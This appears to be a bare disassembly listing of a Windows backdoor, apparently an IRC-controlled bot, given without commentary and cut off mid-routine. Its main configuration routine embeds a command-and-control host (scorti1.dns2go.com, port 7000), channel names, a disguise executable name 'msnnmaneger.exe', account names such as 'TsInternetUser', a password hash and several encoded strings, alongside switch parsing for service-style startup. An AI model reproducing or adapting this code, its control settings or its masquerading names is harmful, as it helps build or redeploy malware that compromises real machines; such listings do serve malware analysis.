loc_406F08 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F70 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D16 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D16 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_1BC] call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_1A4] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1D4] call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_1EC] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aMsnnmaneger_ex ; "msnnmaneger.exe" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aWintwir ; "wintwir" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aHail ; "Hail-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_294] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_114] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_18C] call sub_401A87 push offset aHotfix ; "hotfix" lea ecx, [esp+360h+var_144] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_CC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_1BC] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea ecx, [esp+39Ch+var_348] push 8 push ecx call sub_4019B5 add esp, 48h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_E4] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2C4] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 29h call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 mov byte ptr [esp+37Ch], 2Ah push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 2Fh push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 32h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h mov byte ptr [esp+388h], 33h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 